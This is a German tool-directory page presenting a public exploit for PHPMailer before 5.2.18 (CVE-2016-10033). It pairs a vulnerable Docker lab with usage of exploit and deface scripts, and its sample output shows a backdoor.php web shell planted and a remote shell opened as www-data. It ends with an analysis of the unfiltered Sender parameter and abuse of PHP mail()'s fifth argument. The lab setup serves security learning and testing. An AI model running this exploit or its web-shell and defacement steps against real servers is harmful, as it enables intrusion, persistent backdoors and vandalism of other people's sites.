Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
exploit-CVE-2016-10033 — PHPMailer < 5.2.18 Remote-Code-Ausführungs-Exploit und verwundbarer Container | Kitploit
Tools/GitHubGitHub/opsxcq/exploit-cve-2016-10033
Statische Code-Analyse (SAST)SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubopsxcq/exploit-cve-2016-10033

exploit-CVE-2016-10033

PHPMailer < 5.2.18 Remote-Code-Ausführungs-Exploit und verwundbarer Container

40814428vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigenWebseite

PHPMailer < 5.2.18 Remote Code Execution

Docker Pulls License

PHPMailer ist die weltweit beliebteste Transportklasse mit schätzungsweise 9 Millionen Nutzern weltweit. Die Downloads wachsen täglich erheblich weiter. Sie wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! und vielen mehr

PHPMailer vor Version 5.2.18 leidet unter einer Schwachstelle, die zu Remote Code Execution (RCE) führen kann. Die mailSend-Funktion im isMail-Transport in PHPMailer kann, wenn die Sender-Eigenschaft nicht gesetzt ist, entfernten Angreifern ermöglichen, zusätzliche Parameter an den mail-Befehl zu übergeben und dadurch beliebigen Code über ein " (Backslash-Doppelzeichen) in einer manipulierten From-Adresse auszuführen.

Verwundbare Umgebung

Um eine verwundbare Umgebung für deinen Test einzurichten, benötigst du Docker installiert und musst einfach den folgenden Befehl ausführen:

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Dadurch wird eine verwundbare Webanwendung auf deinem Host auf Port 8080 gestartet

verwundbar

Exploit

Um dieses Ziel auszunutzen, führe einfach Folgendes aus:

./exploit host:port

Wenn du dieses verwundbare Image verwendest, kannst du einfach Folgendes ausführen:

./exploit localhost:8080

Nach der Ausnutzung wird eine Datei namens backdoor.php im Wurzelverzeichnis des Webverzeichnisses gespeichert. Der Exploit öffnet dir eine Shell, über die du Befehle an die Hintertür senden kannst:

./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Und das war's – du hast deine Shell. Es gibt einen weiteren Exploit, der einen anderen Anwendungsfall veranschaulicht.

./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Und wenn du die Seite erneut besuchst, wirst du Folgendes sehen:

defaced

Verwundbarer Code

Vor diesem Commit in class.phpmailer.php gibt es in einem bestimmten Szenario keinen Filter für Sonderzeichen in der E-Mail-Adresse des Absenders. Dieser Fehler kann über die mail-Funktion hier zu Remote Code Execution führen.

Bei der Analyse des Codes fällt auf, dass es in der Funktion mailSend() keinen Filter gibt:

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender wird direkt an die Variable $params angehängt, die in der Funktion validateAddress() gefiltert wurde. Da diese jedoch die RFC-3696-Spezifikation verwendet, erlaubt sie bestimmte Zeichen, die Probleme verursachen können. In diesem Fall sind es Anführungszeichen:

Zusätzlich zum Zitieren mit dem Backslash-Zeichen können herkömmliche doppelte Anführungszeichen verwendet werden, um Zeichenfolgen zu umgeben. Zum Beispiel

"Abc@def"@example.com

"Fred Bloggs"@example.com

sind alternative Formen der ersten beiden Beispiele oben. Diese zitierten Formen werden selten empfohlen und sind in der Praxis ungewöhnlich, müssen aber, wie oben besprochen, von Anwendungen unterstützt werden, die E-Mail-Adressen verarbeiten. Insbesondere erscheinen die zitierten Formen häufig im Zusammenhang mit Adressen, die mit Übergängen von anderen Systemen und Kontexten verbunden sind; diese Übergangsanforderungen treten weiterhin auf, und da ein System, das eine benutzerbereitgestellte E-Mail-Adresse akzeptiert, nicht "wissen" kann, ob diese Adresse mit einem Legacy-System verbunden ist, müssen die Adressformen akzeptiert und in die E-Mail-Umgebung übergeben werden.

Du kannst die gesamte RFC hier lesen, wenn du möchtest. Außerdem gilt: Wenn die PHP-Version älter als 5.2.0 ist und PCRE nicht installiert ist, wird die Variable $patternselect in validateAddress() auf noregex gesetzt. Dadurch kann die Eingabe jede Regex-Überprüfung umgehen. Es wird nur eine kleine Überprüfung durchlaufen:

            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Dann geht der Codeablauf zur Funktion mailPassthru() über, die, wenn sie im safe_mode läuft, nicht durch diesen Fehler verwundbar ist, wie der folgende Code zeigt:

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Wenn jedoch nicht der safe_mode verwendet wird, wird unser spezieller Parameter an mail() übergeben, und wenn wir Glück haben, wird unsere Datei mit dem gewünschten Inhalt an der gewünschten Stelle geschrieben.

Hinweise zur Ausnutzung der PHP-Funktion mail()

Die Ausnutzung der PHP-Funktion mail() ist nichts Neues, aber sie ist immer noch aktuell und wird weiterhin verwendet. Um zu erklären, wie sie funktioniert, schauen wir uns an, wie die Funktion mail() definiert ist:

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Es gibt verschiedene Ausnutzungsmethoden für unterschiedliche Ergebnisse. Wir konzentrieren uns auf die Ausnutzung des 5. Parameters, um Remote Code Execution (RCE) zu erreichen. Der Parameter $additional_parameters wird verwendet, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das zum Senden der E-Mail konfiguriert ist. Diese Konfiguration wird durch die Variable sendmail_path definiert.

Ein Sicherheitshinweis aus der offiziellen PHP-Dokumentation:

Der Parameter additional_parameters kann verwendet werden, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das zum Senden der E-Mail konfiguriert ist, wie durch die sendmail_path-Konfigurationseinstellung definiert. Dies kann beispielsweise verwendet werden, um die Absenderadresse des Umschlags festzulegen, wenn sendmail mit der Option -f verwendet wird.

Tool herunterladen